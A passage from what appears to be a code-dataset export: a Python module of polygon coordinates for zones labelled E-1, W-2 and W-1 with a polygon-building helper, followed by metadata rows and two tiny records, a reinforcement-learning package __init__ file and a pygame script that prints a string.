(103.9278492,1.3354246,0),
(103.9250732,1.3348294,0),
(103.9223976,1.3337596,0),
(103.9112322,1.3284624,0),
(103.9085786,1.3270043,0),
(103.9036799,1.3255516,0),
(103.8922404,1.3232366,0),
(103.8909541,1.3229801,0),
(103.8892048,1.3225095,0),
(103.8874102,1.3222685,0),
(103.8850149,1.3221669,0),
(103.8792935,1.3199899,0),
(103.8774842,1.3198023,0),
(103.8756321,1.3200224,0),
(103.8655238,1.312015,0),
],
"E-1": [
(103.8703692,1.3266562,0),
(103.8756319,1.3200279,0),
(103.877484,1.3198078,0),
(103.8792933,1.3199954,0),
(103.8850146,1.3221724,0),
(103.8874099,1.322274,0),
(103.8892045,1.322515,0),
(103.8909539,1.3229856,0),
(103.9036796,1.3255571,0),
(103.9057315,1.3261953,0),
(103.9085783,1.3270098,0),
(103.911232,1.3284679,0),
(103.9223973,1.3337651,0),
(103.9250729,1.3348349,0),
(103.927849,1.3354301,0),
(103.929945,1.3355428,0),
(103.9379741,1.335012,0),
(103.9390763,1.3351731,0),
(103.9400362,1.3357742,0),
(103.9559729,1.3491641,0),
(103.9577154,1.3501333,0),
(103.9597413,1.3505916,0),
(103.961497,1.3505214,0),
(103.9639785,1.3496946,0),
(103.9643034,1.3515288,0),
(103.9638558,1.35332,0),
(103.962789,1.3572458,0),
(103.9611275,1.3601419,0),
(103.9596412,1.3619303,0),
(103.9575111,1.3637186,0),
(103.9554454,1.3647991,0),
(103.9521781,1.3658367,0),
(103.9463334,1.3671599,0),
(103.9438361,1.3684402,0),
(103.9411159,1.3709579,0),
(103.9400101,1.37166,0),
(103.9349,1.374383,0),
(103.9287438,1.3771273,0),
(103.9276408,1.3774691,0),
(103.9240402,1.3783458,0),
(103.9219031,1.3791766,0),
(103.9201607,1.3799803,0),
(103.9184784,1.3813732,0),
(103.901292,1.340966,0),
(103.892195,1.33466,0),
(103.888676,1.333448,0),
(103.888146,1.33507,0),
(103.886447,1.3346,0),
(103.885055,1.337534,0),
(103.88491,1.337373,0),
(103.884128,1.335828,0),
(103.883409,1.335516,0),
(103.882176,1.33722,0),
(103.881994,1.336404,0),
(103.881441,1.335845,0),
(103.880782,1.33548,0),
(103.88102,1.335174,0),
(103.880743,1.334526,0),
(103.880466,1.334606,0),
(103.880238,1.334241,0),
(103.880406,1.332968,0),
(103.879579,1.332807,0),
(103.876304,1.331779,0),
(103.875722,1.333586,0),
(103.875367,1.333495,0),
(103.874974,1.333516,0),
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(103.872855,1.332523,0),
(103.870422,1.331738,0),
(103.870332,1.331674,0),
(103.869958,1.330216,0),
(103.869617,1.330289,0),
(103.868885,1.330474,0),
(103.868335,1.328144,0),
(103.8703692,1.3266562,0),
],
"W-2": [
(103.74125,1.446686,0),
(103.723976,1.456425,0),
(103.705093,1.451362,0),
(103.7038548,1.3674654,0),
(103.7064552,1.3644784,0),
(103.7087405,1.3660766,0),
(103.7107575,1.3670633,0),
(103.7209499,1.3700344,0),
(103.7224626,1.3706994,0),
(103.7242973,1.3717934,0),
(103.7430964,1.3878535,0),
(103.7439762,1.3885399,0),
(103.745328,1.3892264,0),
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(103.7471626,1.3896983,0),
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(103.7497161,1.3896554,0),
(103.751186,1.389398,0),
(103.7528167,1.3890118,0),
(103.7538145,1.3888402,0),
(103.7556277,1.3886686,0),
(103.7579022,1.3888724,0),
(103.7594042,1.3892264,0),
(103.7625156,1.3901702,0),
(103.7645219,1.3904813,0),
(103.7660347,1.3905563,0),
(103.7745829,1.3903096,0),
(103.7739516,1.3953409,0),
(103.7738236,1.3990299,0),
(103.7733936,1.4025699,0),
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(103.764296,1.40061,0),
(103.756292,1.398507,0),
(103.752022,1.399666,0),
(103.75288,1.403055,0),
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(103.74346,1.406401,0),
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(103.741594,1.409898,0),
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(103.741787,1.415132,0),
(103.739105,1.422726,0),
(103.74125,1.446686,0),
],
"W-1": [
(103.8015923,1.2758617,0),
(103.7980688,1.2773037,0),
(103.7924876,1.2850826,0),
(103.7951247,1.2875841,0),
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(103.667414,1.414381,0),
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(103.7266366,1.2461982,0),
(103.8122656,1.243888,0),
(103.7985327,1.264654,0),
(103.8017728,1.2731492,0),
(103.8015923,1.2758617,0),
]
}
def make_polygon(polygon_input):
"""
Given a LIST with polygon points, format
[(LNG, LAT, Z), ... ]
return a polygon
"""
tmp_plygn = []
for pt in polygon_input:
tmp_plygn.append((pt[1], pt[0]))
return Polygon(tmp_plygn)
POLYGON_DICT = {}
for k,v in POLYGON_INPUTS.iteritems():
POLYGON_DICT[k] = make_polygon(v)
| 31.976161 | 44 | 0.526859 | 3,727 | 25,485 | 3.599678 | 0.240408 | 0.211986 | 0.0041 | 0.006336 | 0.780262 | 0.772734 | 0.735838 | 0.004621 | 0.004621 | 0 | 0 | 0.701896 | 0.267491 | 25,485 | 796 | 45 | 32.016332 | 0.016767 | 0.0031 | 0 | 0.767927 | 0 | 0 | 0.001773 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001304 | false | 0 | 0.002608 | 0 | 0.005215 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e4c90babe068bceb1b72bf1efafe31ad16d225a8 | 55 | py | Python | rlnets/__init__.py | HTRPOCODES/HTRPO-v2 | 7e085e8077e6caa38d192bbd33b41c49b36ad6a6 | [
"MIT"
] | 7 | 2020-02-24T15:05:20.000Z | 2021-08-24T02:27:13.000Z | rlnets/__init__.py | ZhangHanbo/Deep-Reinforcement-Learning-Package | 10ab418fcb4807747ebe162920f3df1e80b80a2a | [
"MIT"
] | null | null | null | rlnets/__init__.py | ZhangHanbo/Deep-Reinforcement-Learning-Package | 10ab418fcb4807747ebe162920f3df1e80b80a2a | [
"MIT"
] | 1 | 2020-04-11T13:08:23.000Z | 2020-04-11T13:08:23.000Z | from .NAF import *
from .PG import *
from .DQN import * | 18.333333 | 18 | 0.690909 | 9 | 55 | 4.222222 | 0.555556 | 0.526316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 55 | 3 | 19 | 18.333333 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e4fa7d038974c07f019712144e5dd41ec18fe110 | 28 | py | Python | plan_main.py | use358/wanghongyaun_home | e74758f5cecc09b120f1560eb2951208d8b54500 | [
"MIT"
] | null | null | null | plan_main.py | use358/wanghongyaun_home | e74758f5cecc09b120f1560eb2951208d8b54500 | [
"MIT"
] | null | null | null | plan_main.py | use358/wanghongyaun_home | e74758f5cecc09b120f1560eb2951208d8b54500 | [
"MIT"
] | null | null | null | import pygame
print("sdfs")
| 9.333333 | 13 | 0.75 | 4 | 28 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 28 | 2 | 14 | 14 | 0.84 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
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